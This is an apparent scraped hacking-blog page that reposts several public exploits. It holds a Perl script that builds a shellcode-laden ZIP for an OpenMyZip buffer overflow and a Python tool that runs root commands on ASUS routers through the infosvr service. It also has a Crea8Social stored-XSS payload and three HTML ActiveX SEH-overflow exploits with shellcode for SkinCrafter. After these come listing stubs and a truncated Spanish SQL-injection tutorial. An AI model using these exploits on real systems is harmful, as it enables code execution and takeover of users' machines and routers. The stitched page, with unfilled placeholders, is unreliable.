source: https://www.securityfocus.com/bid/47678/info
OpenMyZip is prone to a buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied data.
Attackers may leverage this issue to execute arbitrary code in the context of the application. Failed attacks will cause denial-of-service conditions.
OpenMyZip 0.1 is vulnerable; other versions may also be affected.
#!/usr/bin/perl
#
#
#[+]Exploit Title: OpenMyZip V0.1 .ZIP File Buffer Overflow Vulnerability
#[+]Date: 02\05\2011
#[+]Author: C4SS!0 G0M3S
#[+]Software Link: http://download.cnet.com/OpenMyZip/3000-2250_4-10657274.html
#[+]Version: v0.1
#[+]Tested On: WIN-XP SP3 Brazil Portuguese
#[+]CVE: N/A
#
#
#
use strict;
use warnings;
my $filename = "Exploit.zip";
print "\n\n\t\tOpenMyZip V0.1 .ZIP File Buffer Overflow Vulnerability\n";
print "\t\tCreated by C4SS!0 G0M3S\n";
print "\t\tE-mail Louredo_\@hotmail.com\n";
print "\t\tSite www.exploit-br.org/\n\n";
print "\n\n[+] Creting ZIP File...\n";
sleep(1);
my $head = "\x50\x4B\x03\x04\x14\x00\x00".
"\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00\x00\x00" .
"\xe4\x0f" .
"\x00\x00\x00";
my $head2 = "\x50\x4B\x01\x02\x14\x00\x14".
"\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\xe4\x0f".
"\x00\x00\x00\x00\x00\x00\x01\x00".
"\x24\x00\x00\x00\x00\x00\x00\x00";
my $head3 = "\x50\x4B\x05\x06\x00\x00\x00".
"\x00\x01\x00\x01\x00".
"\x12\x10\x00\x00".
"\x02\x10\x00\x00".
"\x00\x00";
my $payload = "\x41" x 8;
$payload = $payload.
("\x61" x 7).#6 POPAD
("\x6A\x30").#PUSH 30
("\x5B\x52\x59").#POP EBX / PUSH EDX / POP ECX
("\x41" x 10).#10 INC EAX
("\x02\xd3").#ADD CL,BL
("\x51\x58").#PUSH ECX / POP EAX
("\x98\xd1"); #BASE CONVERSION
#"\x98" == "\xff"
# "\xd1" == "\xd0"
#"\xff" + "\xd0" = CALL EAX AND CODE EXECUTION.;-}
$payload .= "\x41" x 22;#MORE PADDING FOR START FROM MY SHELLCODE
$payload .=
"PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIYK9PFQO9OO3LUFRPHLN9R".
"TFDZTNQ5NV8VQSHR8MSM8KLUSRXRHKDMUVPBXOLSUXI48X6FCJUZSODNNCMTBOZ7JP2ULOOU2JMUMPTN".
"5RFFIWQM7MFSPZURQYZ5V05ZU4TO7SLKK5KEUBKJPQ79MW8KM12FXUK92KX9SZWWK2ZHOPL0O13XSQCO".#Alpha SHELLCODE WinExec('calc',0) BaseAddress = EAX
"T67JW9HWKLCLNK3EOPWQCE4PQ9103HMZUHFJUYQ3NMHKENJL1S5NHWVJ97MGK9PXYKN0Q51864NVOMUR".
"9K7OGT86OPYJ03K9GEU3OKXSKYZA";
$payload .= "\x44" x (2050-length($payload));
$payload .= "\x58\x78\x39".#POP EAX / JS SHORT 011E0098
"\x41" x 5;# PADDING FOR OVERWRITE EIP
$payload .= pack('V',0x00404042);#JMP EBX
$payload .= "\x42" x 50;
$payload .= "\x41" x (4064-length($payload));
$payload = $payload.".txt";
my $zip = $head.$payload.$head2.$payload.$head3;
open(FILE,">$filename") || die "[-]Error:\n$!\n";
print FILE $zip;
close(FILE);
print "[+] ZIP File Created With Sucess:)\n";
sleep(2);
=head
#
#The Vulnerable Function:
#
#
#The Vulnerable function is in MODULE UnzDll.dll on
#Function UnzDllExec+0x7a3 after CALL the function kernel32.lstrcpyA
#ocorrs the Buffer Overflow on movimentation of the String Very large.
#
#Assemble:
#
# 0x00DA6A6F 53 PUSH EBX
# 0x00DA6A70 56 PUSH ESI
# 0x00DA6A71 8B75 08 MOV ESI,DWORD PTR SS:[EBP+8]
# 0x00DA6A74 8B55 18 MOV EDX,DWORD PTR SS:[EBP+18]
# 0x00DA6A77 8B45 10 MOV EAX,DWORD PTR SS:[EBP+10]
# 0x00DA6A7A 83BE 8CD20000 00 CMP DWORD PTR DS:[ESI+D28C],0
# 0x00DA6A81 8D9E 50D80000 LEA EBX,DWORD PTR DS:[ESI+D850]
# 0x00DA6A87 74 65 JE SHORT UnzDll.00DA6AEE
# 0x00DA6A89 8B8E 84D20000 MOV ECX,DWORD PTR DS:[ESI+D284]
# 0x00DA6A8F 890B MOV DWORD PTR DS:[EBX],ECX
# 0x00DA6A91 8B8E 88D20000 MOV ECX,DWORD PTR DS:[ESI+D288]
# 0x00DA6A97 894B 04 MOV DWORD PTR DS:[EBX+4],ECX
# 0x00DA6A9A 33C9 XOR ECX,ECX
# 0x00DA6A9C C743 08 A0000000 MOV DWORD PTR DS:[EBX+8],0A0
# 0x00DA6AA3 894B 0C MOV DWORD PTR DS:[EBX+C],ECX
# 0x00DA6AA6 8B4D 0C MOV ECX,DWORD PTR SS:[EBP+C]
# 0x00DA6AA9 894B 10 MOV DWORD PTR DS:[EBX+10],ECX
# 0x00DA6AAC 81BE 88DB0000 91>CMP DWORD PTR DS:[ESI+DB88],91
# 0x00DA6AB6 7F 0A JG SHORT UnzDll.00DA6AC2
# 0x00DA6AB8 8BC8 MOV ECX,EAX
# 0x00DA6ABA 80E1 FF AND CL,0FF
# 0x00DA6ABD 0FBEC9 MOVSX ECX,CL
# 0x00DA6AC0 EB 02 JMP SHORT UnzDll.00DA6AC4
# 0x00DA6AC2 8BC8 MOV ECX,EAX
# 0x00DA6AC4 894B 14 MOV DWORD PTR DS:[EBX+14],ECX
# 0x00DA6AC7 85D2 TEST EDX,EDX
# 0x00DA6AC9 8B45 14 MOV EAX,DWORD PTR SS:[EBP+14]
# 0x00DA6ACC 8943 18 MOV DWORD PTR DS:[EBX+18],EAX
# 0x00DA6ACF 75 06 JNZ SHORT UnzDll.00DA6AD7
# 0x00DA6AD1 C643 1C 00 MOV BYTE PTR DS:[EBX+1C],0
# 0x00DA6AD5 EB 0A JMP SHORT UnzDll.00DA6AE1
# 0x00DA6AD7 52 PUSH EDX
# 0x00DA6AD8 8D53 1C LEA EDX,DWORD PTR DS:[EBX+1C]
# 0x00DA6ADB 52 PUSH EDX
# 0x00DA6ADC E8 ABF20000 CALL UnzDll.00DB5D8C ; JMP to kernel32.lstrcpyA
# 0x00DA6AE1 53 PUSH EBX
# 0x00DA6AE2 FF96 8CD20000 CALL DWORD PTR DS:[ESI+D28C] ; Here ocorrs the Code Execution:-)
# 0x00DA6AE8 0986 70D20000 OR DWORD PTR DS:[ESI+D270],EAX
# 0x00DA6AEE 5E POP ESI
# 0x00DA6AEF 5B POP EBX
# 0x00DA6AF0 5D POP EBP
# 0x00DA6AF1 C3 RETN
#
#
#
#
#
=cut
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
A group blog by Leader in
Hacker Website - Providing Professional Ethical Hacking Services
-
Entries
16114 -
Comments
7952 -
Views
863113810
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
#!/usr/bin/env python3
# Exploit Title: ASUSWRT 3.0.0.4.376_1071 LAN Backdoor Command Execution
# Date: 2014-10-11
# Vendor Homepage: http://www.asus.com/
# Software Link: http://dlcdnet.asus.com/pub/ASUS/wireless/RT-N66U_B1/FW_RT_N66U_30043762524.zip
# Source code: http://dlcdnet.asus.com/pub/ASUS/wireless/RT-N66U_B1/GPL_RT_N66U_30043762524.zip
# Tested Version: 3.0.0.4.376_1071-g8696125
# Tested Device: RT-N66U
# Description:
# A service called "infosvr" listens on port 9999 on the LAN bridge.
# Normally this service is used for device discovery using the
# "ASUS Wireless Router Device Discovery Utility", but this service contains a
# feature that allows an unauthenticated user on the LAN to execute commands
# <= 237 bytes as root. Source code is in asuswrt/release/src/router/infosvr.
# "iboxcom.h" is in asuswrt/release/src/router/shared.
#
# Affected devices may also include wireless repeaters and other networking
# products, especially the ones which have "Device Discovery" in their features
# list.
#
# Using broadcast address as the IP address should work and execute the command
# on all devices in the network segment, but only receiving one response is
# supported by this script.
import sys, os, socket, struct
PORT = 9999
if len(sys.argv) < 3:
print('Usage: ' + sys.argv[0] + ' <ip> <command>', file=sys.stderr)
sys.exit(1)
ip = sys.argv[1]
cmd = sys.argv[2]
enccmd = cmd.encode()
if len(enccmd) > 237:
# Strings longer than 237 bytes cause the buffer to overflow and possibly crash the server.
print('Values over 237 will give rise to undefined behaviour.', file=sys.stderr)
sys.exit(1)
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind(('0.0.0.0', PORT))
sock.settimeout(2)
# Request consists of following things
# ServiceID [byte] ; NET_SERVICE_ID_IBOX_INFO
# PacketType [byte] ; NET_PACKET_TYPE_CMD
# OpCode [word] ; NET_CMD_ID_MANU_CMD
# Info [dword] ; Comment: "Or Transaction ID"
# MacAddress [byte[6]] ; Double-wrongly "checked" with memcpy instead of memcmp
# Password [byte[32]] ; Not checked at all
# Length [word]
# Command [byte[420]] ; 420 bytes in struct, 256 - 19 unusable in code = 237 usable
packet = (b'\x0C\x15\x33\x00' + os.urandom(4) + (b'\x00' * 38) + struct.pack('<H', len(enccmd)) + enccmd).ljust(512, b'\x00')
sock.sendto(packet, (ip, PORT))
# Response consists of following things
# ServiceID [byte] ; NET_SERVICE_ID_IBOX_INFO
# PacketType [byte] ; NET_PACKET_TYPE_RES
# OpCode [word] ; NET_CMD_ID_MANU_CMD
# Info [dword] ; Equal to Info of request
# MacAddress [byte[6]] ; Filled in for us
# Length [word]
# Result [byte[420]] ; Actually returns that amount
while True:
data, addr = sock.recvfrom(512)
if len(data) == 512 and data[1] == 22:
break
length = struct.unpack('<H', data[14:16])[0]
s = slice(16, 16+length)
sys.stdout.buffer.write(data[s])
sock.close()
# Exploit Title: Crea8Social v.2.0 XSS Change Interface
# Google Dork: intext:Copyright © 2014 CreA8social.
# Date: January 3, 2015
# Exploit Author: r0seMary
# Vendor Homepage: http://crea8social.com
# Software Link: http://codecanyon.net/item/crea8social-php-social-networking-platform-v20/9211270 or http://crea8social.com
# Version: v.2.0 (Latest version)
# Tested on: Windows 7
# CVE : -
================================================================================
Bismillahirahmanirahim
Assalamualaikum Wr.Wb
--[Fatal Xss Vulnerability]--
1. Register on the site
2. Go to Menu, Click Game
3. Add Game
4. At Game Content, enter your xss code. for example:
<script>document.body.innerHTML="your text here"</script><noscript>
look at the result, the user interface change into your xss code ;)
Proof of Concept:
http://104.131.164.9/demo/games/124 (Crea8Social Official Site)
./r0seMary
Wassalamualaikum.wr.wb
<html>
<br>ActiveX Buffer Overflow in SkinCrafter3_vs2005 </br>
<br>Affected version=3.8.1.0</br>
<br>Vendor Homepage:http://skincrafter.com/</br>
<br>Software Link:skincrafter.com/downloads/SkinCrafter_Demo_2005_2008_x86.zip</br>
<br>The vulnerability lies in the COM component used by the product SkinCrafter3_vs2005.dll.</br>
<br>Description: Skin Crafter is a software that is used to create custom skins for different windows applications.</br>
<br>SkinCrafter is compatible with Windows XP / Vista / 7 / 8 and earlier versions.</br>
<br>Vulnerability tested on Windows Xp Sp3 (EN),with IE6</br>
<br>Author: metacom</br>
<br>Vulnerability discovered:04.01.2015</br>
<!--
POC Video:http://bit.ly/1vNKL9M
twitter.com/m3tac0m
-->
<object classid='clsid:B9D38E99-5F6E-4C51-8CFD-507804387AE9' id='target' ></object>
<script >
junk1 = "";
while(junk1.length < 1084) junk1+="A";
nseh = "\xeb\x06\x90\x90";
seh = "\xCD\xC6\x03\x10";
nops= "";
while(nops.length < 50) nops+="\x90";
shellcode =(
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"+
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"+
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"+
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"+
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"+
"\x42\x30\x42\x50\x42\x30\x4b\x48\x45\x54\x4e\x43\x4b\x38\x4e\x47"+
"\x45\x50\x4a\x57\x41\x30\x4f\x4e\x4b\x58\x4f\x54\x4a\x41\x4b\x38"+
"\x4f\x45\x42\x42\x41\x50\x4b\x4e\x49\x44\x4b\x38\x46\x33\x4b\x48"+
"\x41\x50\x50\x4e\x41\x53\x42\x4c\x49\x59\x4e\x4a\x46\x58\x42\x4c"+
"\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"+
"\x46\x4f\x4b\x53\x46\x55\x46\x32\x46\x50\x45\x47\x45\x4e\x4b\x58"+
"\x4f\x45\x46\x52\x41\x50\x4b\x4e\x48\x56\x4b\x58\x4e\x50\x4b\x44"+
"\x4b\x48\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x4b\x58\x4e\x41\x4b\x38"+
"\x41\x50\x4b\x4e\x49\x48\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33"+
"\x42\x4c\x46\x46\x4b\x38\x42\x44\x42\x53\x45\x38\x42\x4c\x4a\x47"+
"\x4e\x30\x4b\x48\x42\x44\x4e\x50\x4b\x58\x42\x37\x4e\x51\x4d\x4a"+
"\x4b\x48\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x38\x42\x58\x42\x4b"+
"\x42\x50\x42\x50\x42\x50\x4b\x38\x4a\x36\x4e\x43\x4f\x45\x41\x53"+
"\x48\x4f\x42\x46\x48\x35\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x57"+
"\x42\x45\x4a\x36\x42\x4f\x4c\x38\x46\x30\x4f\x35\x4a\x46\x4a\x39"+
"\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x46\x41\x46"+
"\x4e\x46\x43\x36\x42\x50\x5a");
junk2 = "";
while(junk2.length < 8916) junk2+="D";
payload = junk1 + nseh + seh + nops+ shellcode + junk2;
arg1=payload;
arg1=arg1;
arg2="SkinCrafter3_vs2005";
arg3="SkinCrafter3_vs2005";
arg4="SkinCrafter3_vs2005";
target.InitLicenKeys(arg1 ,arg2 ,arg3 ,arg4 );
</script>
</html>
################################################################################
<html>
<br>ActiveX Buffer Overflow in SkinCrafter3_vs2010 </br>
<br>Affected version=3.8.1.0</br>
<br>Vendor Homepage:http://skincrafter.com/</br>
<br>Software Link:skincrafter.com/downloads/SkinCrafter_Demo_2010_2012_x86.zip</br>
<br>The vulnerability lies in the COM component used by the product SkinCrafter3_vs2010.dll.</br>
<br>Description: Skin Crafter is a software that is used to create custom skins for different windows applications.</br>
<br>SkinCrafter is compatible with Windows XP / Vista / 7 / 8 and earlier versions.</br>
<br>Vulnerability tested on Windows Xp Sp3 (EN),with IE6</br>
<br>Author: metacom</br>
<br>Vulnerability discovered:04.01.2015</br>
<!--
POC Video:http://bit.ly/1Bx9BQ0
twitter.com/m3tac0m
-->
<object classid='clsid:F67E9E3C-B156-4B86-BD11-8301E639541E' id='target' ></object>
<script >
junk1 = "";
while(junk1.length < 2052) junk1+="A";
nseh = "\xeb\x06\x90\x90";
seh = "\xA3\x6C\x01\x10";
nops= "";
while(nops.length < 50) nops+="\x90";
shellcode =(
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"+
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"+
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"+
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"+
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"+
"\x42\x30\x42\x50\x42\x30\x4b\x48\x45\x54\x4e\x43\x4b\x38\x4e\x47"+
"\x45\x50\x4a\x57\x41\x30\x4f\x4e\x4b\x58\x4f\x54\x4a\x41\x4b\x38"+
"\x4f\x45\x42\x42\x41\x50\x4b\x4e\x49\x44\x4b\x38\x46\x33\x4b\x48"+
"\x41\x50\x50\x4e\x41\x53\x42\x4c\x49\x59\x4e\x4a\x46\x58\x42\x4c"+
"\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"+
"\x46\x4f\x4b\x53\x46\x55\x46\x32\x46\x50\x45\x47\x45\x4e\x4b\x58"+
"\x4f\x45\x46\x52\x41\x50\x4b\x4e\x48\x56\x4b\x58\x4e\x50\x4b\x44"+
"\x4b\x48\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x4b\x58\x4e\x41\x4b\x38"+
"\x41\x50\x4b\x4e\x49\x48\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33"+
"\x42\x4c\x46\x46\x4b\x38\x42\x44\x42\x53\x45\x38\x42\x4c\x4a\x47"+
"\x4e\x30\x4b\x48\x42\x44\x4e\x50\x4b\x58\x42\x37\x4e\x51\x4d\x4a"+
"\x4b\x48\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x38\x42\x58\x42\x4b"+
"\x42\x50\x42\x50\x42\x50\x4b\x38\x4a\x36\x4e\x43\x4f\x45\x41\x53"+
"\x48\x4f\x42\x46\x48\x35\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x57"+
"\x42\x45\x4a\x36\x42\x4f\x4c\x38\x46\x30\x4f\x35\x4a\x46\x4a\x39"+
"\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x46\x41\x46"+
"\x4e\x46\x43\x36\x42\x50\x5a");
junk2 = "";
while(junk2.length < 7948) junk2+="D";
payload = junk1 + nseh + seh + nops+ shellcode + junk2;
arg1=payload;
arg1=arg1;
arg2="SkinCrafter3_vs2010";
arg3="SkinCrafter3_vs2010";
arg4="SkinCrafter3_vs2010";
target.InitLicenKeys(arg1 ,arg2 ,arg3 ,arg4 );
</script>
</html>
################################################################################
<html>
<br>ActiveX Buffer Overflow in SkinCrafter3_vs2008 </br>
<br>Affected version=3.8.1.0</br>
<br>Vendor Homepage:http://skincrafter.com/</br>
<br>Software Link:skincrafter.com/downloads/SkinCrafter_Demo_2005_2008_x86.zip</br>
<br>The vulnerability lies in the COM component used by the product SkinCrafter3_vs2008.dll.</br>
<br>Description: Skin Crafter is a software that is used to create custom skins for different windows applications.</br>
<br>SkinCrafter is compatible with Windows XP / Vista / 7 / 8 and earlier versions.</br>
<br>Vulnerability tested on Windows Xp Sp3 (EN),with IE6</br>
<br>Author: metacom</br>
<br>Vulnerability discovered:04.01.2015</br>
<!--
POC Video:http://bit.ly/1yopgU3
twitter.com/m3tac0m
-->
<object classid='clsid:F12724A5-84D6-4D74-902B-4C0C25A11C86' id='target' ></object>
<script >
junk1 = "";
while(junk1.length < 2040) junk1+="A";
nseh = "\xeb\x06\x90\x90";
seh = "\x37\x1E\x01\x10";
nops= "";
while(nops.length < 50) nops+="\x90";
shellcode =(
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"+
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"+
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"+
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"+
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"+
"\x42\x30\x42\x50\x42\x30\x4b\x48\x45\x54\x4e\x43\x4b\x38\x4e\x47"+
"\x45\x50\x4a\x57\x41\x30\x4f\x4e\x4b\x58\x4f\x54\x4a\x41\x4b\x38"+
"\x4f\x45\x42\x42\x41\x50\x4b\x4e\x49\x44\x4b\x38\x46\x33\x4b\x48"+
"\x41\x50\x50\x4e\x41\x53\x42\x4c\x49\x59\x4e\x4a\x46\x58\x42\x4c"+
"\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"+
"\x46\x4f\x4b\x53\x46\x55\x46\x32\x46\x50\x45\x47\x45\x4e\x4b\x58"+
"\x4f\x45\x46\x52\x41\x50\x4b\x4e\x48\x56\x4b\x58\x4e\x50\x4b\x44"+
"\x4b\x48\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x4b\x58\x4e\x41\x4b\x38"+
"\x41\x50\x4b\x4e\x49\x48\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33"+
"\x42\x4c\x46\x46\x4b\x38\x42\x44\x42\x53\x45\x38\x42\x4c\x4a\x47"+
"\x4e\x30\x4b\x48\x42\x44\x4e\x50\x4b\x58\x42\x37\x4e\x51\x4d\x4a"+
"\x4b\x48\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x38\x42\x58\x42\x4b"+
"\x42\x50\x42\x50\x42\x50\x4b\x38\x4a\x36\x4e\x43\x4f\x45\x41\x53"+
"\x48\x4f\x42\x46\x48\x35\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x57"+
"\x42\x45\x4a\x36\x42\x4f\x4c\x38\x46\x30\x4f\x35\x4a\x46\x4a\x39"+
"\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x46\x41\x46"+
"\x4e\x46\x43\x36\x42\x50\x5a");
junk2 = "";
while(junk2.length < 7960) junk2+="D";
payload = junk1 + nseh + seh + nops+ shellcode + junk2;
arg1=payload;
arg1=arg1;
arg2="SkinCrafter3_vs2008";
arg3="SkinCrafter3_vs2008";
arg4="SkinCrafter3_vs2008";
target.InitLicenKeys(arg1 ,arg2 ,arg3 ,arg4 );
</script>
</html>

- Read more...
- 0 comments
- 1 view

SelectaPix 1.4.1 - 'uploadername' Cross-Site Scripting
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

YaPiG 0.95 - Multiple Cross-Site Scripting Vulnerabilities
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

GoT.MY (Multiple Products) - 'theme_dir' Cross-Site Scripting
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

- Read more...
- 0 comments
- 1 view

- Read more...
- 0 comments
- 1 view

PHPDug 2.0 - Multiple Cross-Site Scripting Vulnerabilities
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

AdaptCMS 3.0.3 - Multiple Vulnerabilities
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

BulletProof FTP Client - BPS Buffer Overflow (Metasploit)
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

BlueVoda Website Builder 11 - '.bvp' Local Stack Buffer Overflow
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

Ampache 3.5.4 - 'login.php' Cross-Site Scripting
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

Web Auction 0.3.6 - 'lang' Cross-Site Scripting
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

E2 Photo Gallery 0.9 - 'index.php' Cross-Site Scripting
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

sipdroid 2.2 - SIP INVITE Response User Enumeration
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

Introducción a SQL Injection
HACKER · %s · %s
Un ataque de este tipo puede derivar en cosas como:
Obtener toda la información de las bases de datos Actualizar información de las bases de datos Eliminar información de las bases de datos Leer archivos del servidor Escribir archivos del servidor Ejecutar comandos Y si, todo a partir de la inyección de código SQL.
Índice:
Fundamentos SQL en Aplicaciones Web Concepto de SQL Injection In-band SQL InjectionUnion-based Error-based Blind SQL InjectionBoolean-based Time-based Out-of-Band Conclusión Referencias Fundamentos
Antes de ver las diferentes técnicas de inyección SQL, debemos entender lo más básico, el propio SQL.
Primero de todo, SQL (Structured Query Language) es un lenguaje para la gestión de bases de datos. SQL permite definir, extraer y manipular datos de una base de datos.
Las sentencias SQL se suelen dividir en 5 tipos:
DQL (Data Query Language) –> Contiene la instrucción SELECT. DML (Data Manipulation Language) –> Contiene instrucciones como INSERT, UPDATE o DELETE. DDL (Data Definition Language) –> Contiene instrucciones como CREATE, ALTER, DROP o TRUNCATE. DCL (Data Control Language) –> Contiene intrucciones como GRANT o REVOKE. TCL (Transaction Control Language) –> Contiene instrucciones como BEGIN, TRAN, COMMIT o ROLLBACK. Todos los tipos de sentencias realmente no son muy relevantes sabérselas. Simplemente, está bien saber que existen estas diferenciaciones entre las distintas instrucciones de SQL. Mayoritariamente, las instrucciones que más nos puede interesar saber de cara a inyecciones SQL son las pertenecientes a los tipos DQL, DML y DCL, pero nunca hay que descartar ninguna porque puede que nos sea útil dependiendo de la situación en la que nos encontremos.
En este punto, ya sabemos que SQL es un lenguaje que nos permite construir sentencias, ya sea para manipular, definir o extraer datos de una base de datos. Ahora bien, ¿cómo se estructuran las bases de datos?.
Podemos distinguir dos tipos de bases de datos, las relacionales y las no relacionales, también conocidas como SQL y NoSQL. Las bases de datos relacionales (SQL) están basadas en tablas, mientras que las bases de datos no relacionales (NoSQL) pueden estar basadas en: documentos (estructura clave-valor), grafos, clave-valor o columnas.
De aquí con que te quedes con que existen estos dos tipos de bases de datos es suficiente, ya que no es objetivo de este post entrar en detalles de al menos, las bases de datos no relacionales (NoSQL).
Ahora bien, las que si vamos a ver más a fondo como se estructuran son las bases de datos relacionales, ya que son las bases de datos donde ocurre el SQL Injection.
Dentro de lo que son los dos modelos que hemos visto, SQL y NoSQL. Los encargados de llevar estos dos conceptos a la práctica son los llamados Gestores de Bases de Datos (DBMS). En concreto para las bases de datos relacionales, se encargan de llevarlo a la práctica los Gestores de Bases de Datos Relacionales (RDBMS).
Los RDBMS más famosos son:
MySQL MariaDB MS SQL (Microsoft SQL) PostgreSQL Oracle Pero no son los únicos.
Cada uno de estos gestores de bases de datos siguen el modelo de base de datos relacional, sin embargo, cada uno tiene sus características únicas que hacen que se diferencien entre los demás.
Todo esto que acabamos de ver se puede ver reflejado en el siguiente diagrama:
Con este diagrama podemos ver de forma mucho más clara la estructura de una base de datos y su posición en un gestor de bases de datos relacional.
Sabiendo esto, vamos a ver distintas sentencias SQL para familiarizarnos con el lenguaje y el procedimiento. Para ello, vamos a seguir el ejemplo de la imagen de arriba, todo se va a hacer como si nos encontrásemos dentro de la base de datos «webserver».
Sentencia básica:
SELECT * FROM users Esta sentencia es la más básica y estaríamos diciendo lo siguiente: «Obtén todos los datos pertenecientes a la tabla users».
Esta sentencia obtendría y daría como resultado lo siguiente:
Otro ejemplo de sentencia sería:
SELECT username, password FROM users WHERE id=1 Aquí ya hemos hecho unos cuantos cambios. Por ejemplo, ya no le estamos diciendo «Obtén todos los datos pertenecientes a la tabla users» sino que le estamos diciendo: «De la tabla users, obtén solo los resultados de la columna username y password«.
Sin embargo, como vemos, luego le estamos colocando otra condición (WHERE id=1), aqui le estamos diciendo que solo devuelva los resultados que cumplan que el valor de la columna id sea igual a 1.
Entonces la query completa, sería: «De la tabla users, devuelveme solo los resultados de la columna username y password. Además, solo quiero que me devuelvas los resultados que cumplan que el valor de la columna id sea igual a 1«.
El resultado sería:
Si la query en vez de ser:
SELECT username, password FROM users WHERE id=’1′ Fuese:
SELECT username, password FROM users WHERE username=»sikumy» Daría el mismo resultado.
Podríamos resumir que la estructura de una sentencia básica sería:
SELECT <columnas> FROM <tabla> WHERE <condicion> A esta estructura, le podemos agregar otras instrucciones o cambiar alguna que otra cosa para que cambien un poco su comportamiento. Vamos a ver algunas de ellas:
SELECT DISTINCT <columnas> FROM <tabla> En este caso, la instrucción DISTINCT lo único que hace es eliminar los resultados duplicados, de forma, que solo se muestren 1 vez.
SELECT «hola», «que», «tal», «???», «!!!» FROM <tabla> La instrucción SELECT también permite definir valores constantes. De tal forma, que se muestren los valores constantes sea cual sea el contenido de la tabla. Por ejemplo, tenemos la siguiente tabla:
Si hacemos una petición como la escrita arriba, con valores constantes, el resultado será:
Si nos fijamos, incluso da igual que pongamos más columnas de las que hay verdaderamente en la tabla. Ahora mismo quizas esta funcionalidad tiene poco sentido para ti, pero podremos ver un uso útil de cara al SQL Injection.
Otra instrucción útil y que veremos mejor su uso más adelante es LIMIT:
SELECT <columnas> FROM <tabla> [podríamos colocar el WHERE aquí en medio] LIMIT <número>, <cantidad> Esta instrucción básicamente te permite limitar los resultados de una query. Por ejemplo, volviendo y trayendo de nuevo esta tabla:
Sabiendo que esta sentencia devuelve todo el contenido de la tabla, en este caso, 3 filas. Podemos limitar los resultados con LIMIT. Ejemplo 1:
Aquí le estamos diciendo: «Del resultado, vete a la posición 1 (el cual es la segunda fila de lo que devuelve porque cuenta desde 0) y limita desde esta posición a dos resultados«.
Por eso mismo, el resultado que obtenemos es a partir de la segunda fila, y como hemos limitado los resultados a 2, pues nos muestra, la fila 2 y 3. Otro ejemplo:
Aquí le decimos: «Oye, empieza desde la posición 0 (primera fila de lo que devuelve) y muéstrame desde esa posición una cantidad de 2 resultados«. Por eso mismo, nos muestra la fila 1 y 2, pero no la 3.
Espero que se haya entendido esta última explicación 🥺. En cualquier caso, volveremos a verlo más adelante.
Por último, SQL también admite comentarios, estos se pueden declarar de dos formas distintas:
# -- (dos guiones seguidos de un espacio, se suele poner siempre -- - para que el espacio se haga notar) Con esto, cualquier cosa que coloquemos después de alguno de estos símbolos, se ignorará, ya que se interpretará como un comentario. Ejemplo:
